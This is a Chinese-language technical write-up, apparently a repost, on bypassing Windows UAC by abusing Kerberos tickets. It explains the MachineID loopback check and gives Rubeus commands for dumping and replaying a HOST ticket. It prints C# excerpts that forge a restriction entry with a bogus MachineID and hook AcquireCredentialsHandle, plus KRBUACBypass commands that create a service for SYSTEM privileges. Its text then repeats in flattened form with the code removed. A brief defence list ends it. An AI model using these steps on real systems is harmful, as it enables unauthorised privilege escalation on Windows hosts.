Revisiting a UAC Bypass By Abusing Kerberos Tickets
字数 1377 2025-08-06 08:35:09

滥用Kerberos票据绕过UAC的技术分析与实现

背景与原理

本技术基于James Forshaw在BlackHat USA 2022上提出的"Taking Kerberos To The Next Level"议题,通过滥用Kerberos票据实现UAC(用户账户控制)绕过。

UAC与Kerberos交互机制

  • UAC限制:本地管理员组成员(除Administrator外)在远程计算机上无法获得提升权限
  • 域管理员例外:域管理员组成员在远程计算机上使用完整管理员令牌,UAC不生效
  • LSASS过滤机制:默认过滤网络身份验证令牌以移除管理员权限,但域管理员组除外

Kerberos环回检测机制

Kerberos协议通过"machine nonce"机制检测客户端和服务是否位于同一台机器:

  1. LSAP_TOKEN_INFO_INTEGRITY结构

    typedef struct _LSAP_TOKEN_INFO_INTEGRITY {
        unsigned long Flags;
        unsigned long TokenIL;
        unsigned char MachineID[32];  // 关键字段
    } LSAP_TOKEN_INFO_INTEGRITY, *PLSAP_TOKEN_INFO_INTEGRITY;
    
  2. 检测流程

    • 客户端请求票据时,Kerberos栈生成随机MachineID并存储在LSA中
    • 该MachineID会被放入票据中
    • 目标服务检查票据中的MachineID是否与本地LSASS中的LsapGlobalMachineID匹配
    • 匹配则视为本地认证,触发令牌过滤
  3. 关键函数LsaISetSupplementalTokenInfo执行三个检查:

    • MachineID是否匹配(设置bLoopback标志)
    • 是否启用网络令牌过滤(检查LimitedToken标志)
    • 账户SID检查(本地账户/域账户/域控制器)

绕过技术实现

方法一:重启服务器

  1. 获取本地HOST服务票据:

    klist get HOST/$env:COMPUTERNAME
    
  2. 使用Rubeus导出票据:

    Rubeus.exe dump /server:$env:COMPUTERNAME /nowrap
    
  3. 重启服务器后重新导入票据:

    Rubeus.exe ptt /ticket:<BASE64 TICKET>
    
  4. 原理:重启后LsapGlobalMachineID重新生成,票据中的旧ID不再匹配,绕过过滤

方法二:Tgtdeleg技巧

  1. 获取TGT

    • 使用AcquireCredentialsHandle获取Kerberos凭据句柄
    • 使用ISC_REQ_DELEGATE标志和SPN为HOST/DC.domain.com调用InitializeSecurityContext
    • 从GSS-API输出的KRB_AP-REQ中提取KRB_CRED
  2. 生成服务票据

    • 使用TGT请求本地计算机的服务票据
    • 添加伪造的KERB-AD-RESTRICTION-ENTRY和虚假MachineID
    • 将票据提交到缓存
  3. 访问SCM

    • 通过Kerberos认证访问服务控制管理器
    • 创建系统服务获取SYSTEM权限

完整实现代码分析

核心类结构

private static void Run(string[] args, Options options)
{
    string method = args[0];
    string command = options.Command;
    
    // 获取域控制器和SPN
    string domainController = Networking.GetDCName();
    string service = $"HOST/{Dns.GetHostName()}";
    
    if (method == "asktgs") {
        // 执行tgtdeleg技巧
        byte[] blah = LSA.RequestFakeDelegTicket();
        KRB_CRED kirbi = new KRB_CRED(blah);
        Ask.TGS(kirbi, service, requestEType, outfile, ptt, domainController);
    }
    
    if (method == "krbscm") {
        // 枚举票据并执行SCM命令
        List<LSA.SESSION_CRED> sessionCreds = LSA.EnumerateTickets(...);
        KrbSCM.Execute(command);
    }
}

ASKTGS模块实现

  1. 伪造MachineID

    if (KRBUACBypass.Program.BogusMachineID)
    {
        req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
    
        // 创建伪造的AD-IF-RELEVANT容器
        ADIfRelevant ifrelevant = new ADIfRelevant();
        ADRestrictionEntry restrictions = new ADRestrictionEntry();
    
        // 添加到容器
        ifrelevant.ADData.Add(restrictions);
    
        // ASN.1编码
        AsnElt authDataSeq = ifrelevant.Encode();
        authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
    
        // 加密授权数据
        byte[] enc_authorization_data = Crypto.KerberosEncrypt(...);
        req.req_body.enc_authorization_data = new EncryptedData(...);
    }
    
  2. KRB_CRED结构

    KRB-CRED ::= [APPLICATION 22] SEQUENCE {
        pvno [0] INTEGER (5),
        msg-type [1] INTEGER (22),
        tickets [2] SEQUENCE OF Ticket,
        enc-part [3] EncryptedData
    }
    

KRBCSM模块实现

通过HOOK安全API强制使用Kerberos认证:

SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(...)
{
    if (_wcsicmp(pszPackage, L"Negotiate") == 0) {
        pszPackage = kerberos_package;  // 改为Kerberos认证
    }
    return AcquireCredentialsHandleW(...);
}

实际利用步骤

  1. 申请HOST服务票据:

    KRBUACBypass.exe asktgs
    
  2. 创建系统服务获取SYSTEM权限:

    KRBUACBypass.exe krbscm
    
  3. (可选)直接运行系统进程:

    KRBUACBypass.exe system <PID>
    

防御建议

  1. 限制本地管理员组成员权限
  2. 监控异常Kerberos票据请求
  3. 禁用不必要的服务票据
  4. 定期轮换KRBTGT账户密码
  5. 启用高级安全审计策略监控特权操作

总结

该技术通过滥用Kerberos票据中的MachineID验证机制,结合tgtdeleg技巧获取伪造票据,最终绕过UAC限制获取系统权限。理解这一技术有助于更好地防御类似攻击,强化Windows环境安全。

滥用Kerberos票据绕过UAC的技术分析与实现 背景与原理 本技术基于James Forshaw在BlackHat USA 2022上提出的"Taking Kerberos To The Next Level"议题,通过滥用Kerberos票据实现UAC(用户账户控制)绕过。 UAC与Kerberos交互机制 UAC限制 :本地管理员组成员(除Administrator外)在远程计算机上无法获得提升权限 域管理员例外 :域管理员组成员在远程计算机上使用完整管理员令牌,UAC不生效 LSASS过滤机制 :默认过滤网络身份验证令牌以移除管理员权限,但域管理员组除外 Kerberos环回检测机制 Kerberos协议通过"machine nonce"机制检测客户端和服务是否位于同一台机器: LSAP_ TOKEN_ INFO_ INTEGRITY结构 : 检测流程 : 客户端请求票据时,Kerberos栈生成随机MachineID并存储在LSA中 该MachineID会被放入票据中 目标服务检查票据中的MachineID是否与本地LSASS中的LsapGlobalMachineID匹配 匹配则视为本地认证,触发令牌过滤 关键函数 : LsaISetSupplementalTokenInfo 执行三个检查: MachineID是否匹配(设置bLoopback标志) 是否启用网络令牌过滤(检查LimitedToken标志) 账户SID检查(本地账户/域账户/域控制器) 绕过技术实现 方法一:重启服务器 获取本地HOST服务票据: 使用Rubeus导出票据: 重启服务器后重新导入票据: 原理:重启后LsapGlobalMachineID重新生成,票据中的旧ID不再匹配,绕过过滤 方法二:Tgtdeleg技巧 获取TGT : 使用 AcquireCredentialsHandle 获取Kerberos凭据句柄 使用 ISC_REQ_DELEGATE 标志和SPN为 HOST/DC.domain.com 调用 InitializeSecurityContext 从GSS-API输出的KRB_ AP-REQ中提取KRB_ CRED 生成服务票据 : 使用TGT请求本地计算机的服务票据 添加伪造的KERB-AD-RESTRICTION-ENTRY和虚假MachineID 将票据提交到缓存 访问SCM : 通过Kerberos认证访问服务控制管理器 创建系统服务获取SYSTEM权限 完整实现代码分析 核心类结构 ASKTGS模块实现 伪造MachineID : KRB_ CRED结构 : KRBCSM模块实现 通过HOOK安全API强制使用Kerberos认证: 实际利用步骤 申请HOST服务票据: 创建系统服务获取SYSTEM权限: (可选)直接运行系统进程: 防御建议 限制本地管理员组成员权限 监控异常Kerberos票据请求 禁用不必要的服务票据 定期轮换KRBTGT账户密码 启用高级安全审计策略监控特权操作 总结 该技术通过滥用Kerberos票据中的MachineID验证机制,结合tgtdeleg技巧获取伪造票据,最终绕过UAC限制获取系统权限。理解这一技术有助于更好地防御类似攻击,强化Windows环境安全。